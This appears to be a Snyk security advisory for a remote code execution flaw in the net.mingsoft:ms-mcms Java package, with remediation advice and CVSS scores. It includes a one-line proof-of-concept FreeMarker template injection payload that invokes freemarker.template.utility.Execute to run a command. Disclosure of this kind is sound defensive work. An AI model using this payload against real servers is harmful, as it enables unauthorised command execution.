Remote Code Execution (RCE) Affecting net.mingsoft:ms-mcms package, versions [0,5.2.6)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    EPSS
    0.31% (71st percentile)

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  • Snyk ID SNYK-JAVA-NETMINGSOFT-2419051
  • published 6 Mar 2022
  • disclosed 6 Mar 2022
  • credit lz2y&r2

How to fix?

Upgrade net.mingsoft:ms-mcms to version 5.2.6 or higher.

Overview

Affected versions of this package are vulnerable to Remote Code Execution (RCE). By using a freemarker template function called Execute.

PoC

${"freemarker.template.utility.Execute"?new()("calc")}

References

CVSS Scores

version 3.1
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Snyk

Recommended
9.8 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

9.8 critical